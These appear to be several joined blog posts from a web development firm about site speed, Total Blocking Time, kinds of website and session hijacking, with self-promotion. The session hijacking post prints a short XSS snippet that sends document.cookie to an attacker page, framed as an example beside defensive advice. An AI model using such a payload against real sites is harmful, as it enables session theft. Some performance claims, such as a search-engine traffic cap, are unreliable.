How to enhance your website performance?

Website speed is a great concern now a days as it not only effects the user experience but it also makes your site score low on search engine listings.

Today I’ll discuss on how we can improve a website speed. The website speed depends totally on the content it is loading. As we know, them more content you add to the website, them more time it’ll take to load. This will reduce the website performance and will also make user feel bit hazy.

To enhance the speed of a website a developer needs to consider the below points while developing the website and its content.

  • Use a good server for hosting
  • Use minified CSS & JS files
  • Use next-gen image formats
  • Use fewer server requests
  • Make minimum animations
  • Reduce media contents on the website
  • Use SEO while writing content

Let’s deal with all the above one by one

A good server for hosting

It is always suggested to host your website on a good server. As the server plays a vital role when it comes to the performance of your website. I have noticed good websites perform bad when hosted on a slow server.

Generally, while renting a hosting service, user do not study and analyze the hosting provider, rather opt for the cheapest plan. Choosing a hosting plan this way leads to bad performance of website and also leads to lower search engine rankings. Whenever you start your website, first of all, you need to analyze your audience base, if you are looking for huge audience base, you must first create a place where these people can be served. And this is where your hosting plan matters a lot.

To understand this, let;s take an example. Say, Mr. X is an owner of a hospital in Y location. His hospital has 100 beds. To get more patients, Mr. X puts his services on a global platform. The global platform is advertised via a global advertiser. This advertiser provides him patients and thus makes his business grow.

Now, consider the hospital beds count as the capacity of server to host people at a given time, global platform as Mr. X’s website, the global advertiser as a Search Engine. The search engine will only provide a traffic of maximum 60% of the total capacity of Mr. X’s hospital capacity, as it assumes that 40% of beds are already occupied and the search engine do not want to provide irrelevant data to its customers.

So if your server is not capable of handling huge clients, search engine will reduce the flow of audience towards your website.

I’ll suggest, to go for a good plan as per your client base.
One of the best class, & fastest growing web hosting providers in India is CLOUDPOKO, you can opt for web hosting services from them.

Minified CSS & JS files

A minified CSS file is basically a .css file that contains no extra white-spaces, this reduces the file size leading to faster performance of the website.

While using a CSS file, it is a generic way of coding, where people write code in separate lines and with proper indentations. This enhances the readability of the code and makes it easier to understand. But, at the same time, it increases the file size, which leads to the lower performance of the website.

Websites are over the internet, whenever anyone opens a website, s/he first downloads the code to his/her device. After the download is completed, it is further compiled/interpreted on his/her device and then the output is shown to the user. The entire process takes place while you hid a website and you see the loader spin around.

So, a bigger CSS or JS file can lead to more downloading time, leading to more loading time and thus reduced performance.

It should be noted that a website can save 20% to 30% of load time by minifying the CSS and JS files being used.
If you are looking for tools to minify your JS and CSS codes, you can go for online tools. The one I suggest is https://www.minifier.org/

Next-gen image formats

Use of next-generation image formats can reduce lot of loading time. This helps in high resolution image delivery on the cost of low bandwidth utilization.

JPEG 2000, JPEG XR, and WebP are image formats that have superior compression and quality characteristics compared to their older JPEG and PNG counterparts. Encoding your images in these formats rather than JPEG or PNG means that they will load faster and consume less cellular data.

Using these image formats will also help you save the space of the server, which means you can store more data at the same cost.

To know more about next-gen image formats, you can visit – https://web.dev/uses-webp-images/

Fewer server requests

Whenever a page is loaded, there are several requests generated to the server, which is either for database queries or for mathematical or logical operations. The more the server requests are involved, the more time server will take to process them. It will lead to more wait time and hence more turn-around-time(TAT) and total-blocking-time(TBT).

There are several articles to reduce the TAT and TBT of your website. Must read – How to reduce your website TBT

Make sure to reduce or optimize the server request count as much as possible, as it can create more wait time when the user count increases and can even lead to denial of service in some heavy traffic scenarios.

Minimum animations

Animations are handled by JS and CSS over web based applications, all these are handled by Web Browsers. If your website contains too much of animations, a dependency over web browser is created. If the performance of your end user’s device is not too good, your website’s animation will not be delivered with 100% efficiency leading to slow performance and cracked animations.

It is always suggested to create a moderate level of animations on a website unless it is highly required to go beyond this level.
Search engines takes these things seriously too. Your search engine ranking may get down due to too much of animations as it requires too much of code, both in JS and CSS, leading to increased website weight and lower user experience.

Try putting simple and standard animation on your website, which can make it more engaging and more user friendly, and at the same time friendly for search engines too.

Reduce media contents on the website

Media files are loaded in two different ways on a website, either linking them directly from the same server or by embedding them from a different website. in both the cases, loading time of media files depend on the server response time. Response time of the server hosting the media file.

It is advised to keep less number of media files on each page of website as it can lead to decline in page load index. It will also make end user feel hazy if the response time for media load is higher.

Also, the more number of media files on a single page, the more cellular data needs to be used to download them and view them.

To understand this, let’s take an example of a website showing a 10 MB .pdf file on its home page itself. Say, I am using an internet with a bandwidth of 1 MB per second, the website will take around 10 seconds to get downloaded on my device, as the pdf file is of 10 MB. Similarly, consider if I keep a link of the pdf instead of loading the pdf file on the home page, it will save me 10 MB of data. and hence improve the performance of my website.

Use SEO while writing content

At the time you begin writing content for your website, make sure you put proper SEO concepts in the content itself. It not only enhances your search engine visibility but also makes it friendly for people to find and share it with others.

The more people reach to your website the better ranking over search engines , also, the more prospects you get on your website, the more leads and conversions can be done.

If you will like to know more about SEO scripting, you must visit https://schema.org/

Conclusion

At last, I’ll like to take your attention towards understanding the fact that the more you focus on content and the more your focus on your website performance, the better is your website ranking on search engines. Which again puts traffic back to your website leading to more engagement and more prospecting.

Performance of a website must be considered on both speed factor as well as the search engine factor.

If in case you like the article, you can help us by sharing it to your social media feeds, it’ll boost our enthusiasm and we will be encouraged to provide more such contents.

Total Blocking Time (TBT): How it affects your website?

It’s great to create a website and move your business online. Almost everyone does the same but there are certain things that you don’t notice while you start with your awesome world of internet. One of them is Total Blocking Time (TBT)

The total blocking time is the matrix that is used to consider the performance of the website.

Total Blocking Time (TBT) is a time based metric that describes JavaScript main thread activity. It is useful for understanding how long a page is unable to respond to user input.

TBT is designed to be more reliable than Time to Interactive, which can show more variation due to rogue JavaScript tasks.

How is Total Blocking Time calculated?

Total Blocking Time totals the duration ”blocking period” of long JavaScript tasks that occur after First Contentful Paint and before Time to Interactive. The blocking period is the duration of a task that is over 50ms. For example, a task that is 120ms in duration will be calculated as 70 ms of blocking time.

The total blocking time for 2 tasks of 120 ms and 75 ms will be 95 ms.

What Total Blocking Time measurement is fast?

Pages with < 300 ms of blocking time can be considered as fast, 300—600 ms as average whereas durations over 600 ms are considered slow. Learn more about Total Blocking Time.

Good TBT MeasurementPoor TBT Measurement
≤ 300ms> 600ms

How to reduce Total Blocking Time ?

To learn how to improve TBT for a specific site, you can run a Lighthouse performance audit and pay attention to any specific opportunities the audit suggests.

To learn how to improve TBT in general (for any site), refer to the following performance guides:

Common variations of the website, choose which suits you the best.

There are lots of options for creating websites, here we are going to share you some common types of websites to give you helpful ideas. These include Blogs, Corporate or Business, e-Commerce, Portfolio or Photography, Crowdfunding, News/Magazine portal, Social media, Educational website, portal, entertainment, directory listing website, quiz website, Non Profits or Religious websites, Niche Affiliate Marketing Websites, School or College Websites and a wiki or community forum.

We anatomize some of them here.

1. Blogs or Personal Website

Are you an upstanding writer? Do You have ideas and thoughts which you want to share with others? Are you looking for a platform to do this?

A blog is a perfect space for you. The blog can be typically managed by an individual or a small group, a blog can cover any topic – whether it’s related to travel tips, financial advice, or movie reviews. While blogs are often written in an informal or conversational style. Paid blogs or professional blogging are good ways of earning money online.

You can learn how to Start your first blow Today here

2. Business Website

Are you a startup company? Thinking about where to start? So, first, get your business online. Online presence is important nowadays for every business. Most businesses don’t have their website and due to this their impression on potential clients goes down. Having online presence gives you a global presence and exposure.

The business website is not for selling anything, but you can use these websites to provide information about your ventures and to let your clients or customers know how they can get in touch with you. 

Business or Corporate website doesn’t cost much You can start building your business website with help of CRMs like WordPress easily and quickly without coding knowledge.

3. e-Commerce Website

The most trending and innovative way of earning these days. You can receive payment, manage inventory, shipping, taxes/ and manage users from same canopy.

You can merge your business website, blog website with your e-commerce website. These will be helpful in your marketing also, you can write blogs for promoting your products.

Click here to learn how to build an ecom website without knowledge of coding

e-Commerce website

4. Portfolio Website

Portfolio website is similar to your physical portfolio. But, here you can design and add some interactive ideas to make it more impressive.

A portfolio is generally used to showcase and promote your previous work. It can be used as a CV, creating a great impact on the companies you walk in. Whether you are a student or employer, you may need a platform where you may showcase your work or projects or any services to inspire others.

5. Brochure Website

The brochure website is your online business card. It is quite similar to portfolio website, but the difference is that you may showcase your projects on your portfolio which you have done in your entire career, a brochure website is for showing your selected projects designed for your clients as well as personal projects.

You may use back-links in the brochure website to your portfolio website. The brochure website may have only 5-6 pages. The only information found on the site focuses entirely on the business (not the customers) and is typically limited to these pages.

  • About Us (company history, values, mission, team, etc.)
  • Contact Us (phone number, email address, and contact form)
  • How it Works (for businesses with processes or systems)
  • Pricing (If pricing isn’t straightforward)
  • Portfolio (samples or external links)

6. Niche Affiliate Marketing Websites

You have lot of contacts and you may have always share some new products and services to them. So, this is great option for you to earn from home.

Start your affiliate marketing website and earn by sharing products with your contact.

Also, you can also kick start your talent by selling hosting, domain, or other Online services by simply joining Affiliate programs by good companies like CLOUDPOKO

Affiliate marketing website

7. Portal Website

A Portal website is used for internal businesses, schools, or institutions. This involves the login process and automation of workflow from the same place. These portals are quite complex to design, so this needs an expert.

M/s VIKASH TECH provides, best professional having several years of experience in this field, they can help you to design and develop tools for you. These tools can automate your office work and help in your business growth.

8. Educational Website

Educational website as the name defines, these websites are designed for providing educational information to learners. These websites have lots of information, it may include blogs, portfolios, or portal for educating students.

You can also start your online teaching classes and become an educator to explore your knowledge.

Educational website

And lot more..

We hope you like this blog and get some ideas about different variations of the website. If you are still confused about what you want to develop, share it with us. Our expert team will provide you a better solution for your business growth. We don’t charge for any consultancy, you can call us freely and ask us any IT related queries. We will happy to serve you and share our knowledge with you. Click here to contact us.

Subscribe to our newsletter, so you will not miss our posts, news, or any offers from M/s VIKASH TECH.

Session Hijacking

While working with codes, the biggest issues which comes in picture is the security. There are multiple ways to secure your code from known threats, one on them is session hijacking.

What is session hijacking?

Well, session hijacking, in simple words can be understood as someone else showing your ID card to enter inside your premises.

Every time, when a client connects with server, s/he is provided with a unique session ID. This session ID is used for all the communications between the user and server.

Session hijacking is a TCP security attack on user session over a network. This is generally called as man-in-middle attack, as someone sitting between the client and server looks for the session details and then presents herself / himself as the client to the server.

There are a few common methods of session hijacking

  • IP spoofing
  • Cross site scripting
  • Packet sniffing
  • Bind attack

IP Spoofing

Spoofing simply means pretending to be someone else. This is a technique used to gain unauthorized access to the computer with an IP address of a trusted host. In implementing this technique, attacker has to obtain the IP address of the client and inject his own packets spoofed with the IP address of client into the TCP session, so as to fool the server that it is communicating with the victim i.e. the original host.

Cross site scripting (XSS)

Attacker can also capture victim’s Session ID using XSS attack by using JavaScript. If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and completes the instructions made by the attacker.

 <SCRIPT type="text/javascript"> 
var adr = '../attacker.php?victim_cookie=' + escape(document.cookie);
</SCRIPT>

Packet sniffing

Packet sniffing is a way of session hijacking similar to IP spoofing. In this an attacker sniffs into the network and finds a way to get the session ID packets between a user and server. Once the session details is retrieve by the attacker, s/he hits the server with the same session details and pretends to be the actual client.

This can be done using tools like packet sniffer.

Attacker Sniffing for Session ID
Attacker using session ID to gain access

In the above figure, it can be seen that attack captures the victim’s session ID to gain access to the server by using some packet sniffers.

Blind Attack

If attacker is not able to sniff packets and guess the correct sequence number expected by server, brute force combinations of sequence number can be tried.

Security

To defend a network with session hijacking, a defender has to implement both security measures at Application level and Network level. Network level hijacks can be prevented by Ciphering the packets so that the hijacker cannot decipher the packet headers, to obtain any information which will aid in spoofing. This encryption can be provided by using protocols such as IPSec, SSL, SSH etc. Internet security protocol (IPSec) has the ability to encrypt the packet on some shared key between the two parties involved in communication. IPsec runs in two modes: Transport and Tunnel.
In Transport Mode only the data sent in the packet is encrypted while in Tunnel Mode both packet headers and data are encrypted, so it is more restrictive.

Session hijacking is a serious threat to Networks and Web applications on web as most of the systems are vulnerable to it.

At Network Level – You can implement SSL for allowing users to access website with https. You can add firewalls and add rules to secure you from attacks. The firewalls will also help you create tunnel for data transfer. You can use VPN for more secure network.

At Application Level – You can implement single session concept, this will ensure only a single session ID, that to from a single IP is accessing the server. You can reset sessions in a fixed interval of time and can encrypt all the data before sending it to client. Also, to prevent Cross site scripting(XSS), you can strip tags, can use X-XSS-Protection Header in your code, and multiple other options are there.

You can understand how to secure your network here

Website Development

We enable website functionality as per the client’s requirement. We mainly deal with the non-design aspect of building websites, which includes coding and writing markup.

Our team is holds expertise in development ranging from client-end development to server-side development. We ensure optimized development to make your tool work faster and without hazels.

The purpose of a website can be to turn visitors into potential clients, or to collaborate with team, or to have some other functionality for an even better utilization. We develop all your imaginations to codes.

How this process works?
If you are planning to get yourself an online platform for your needs, we can help you design it. First of all, we will schedule a meeting and understand your requirements. Once you tell us all your requirements and the picture get bit clear to us, we write down a quotation for your needs. The quotation includes:

  • Details of understanding of your project
  • Details of workflow
  • Details of database architecture
  • Details of manpower required
  • Details of technologies involved
  • Details of hardware / software needs
  • Details of time estimation
  • Details of cost estimation

After you are satisfied with the quotation, we move forward with the SRS development, else, we revise the quotation till it comes to a mutual satisfaction.

In Software Requirement Specification (SRS) development phase, we develop another document which contains detailed requirement specification, which will help you bring your imaginations on paper and move forward.

The development, quality assurance and implementation phases go after this, as per the SRS and Quotation.

We ensure industry standard development, which includes responsive web design, optimized coding structure and on time delivery of all kind of projects.

You can get in touch with us in case of any requirement here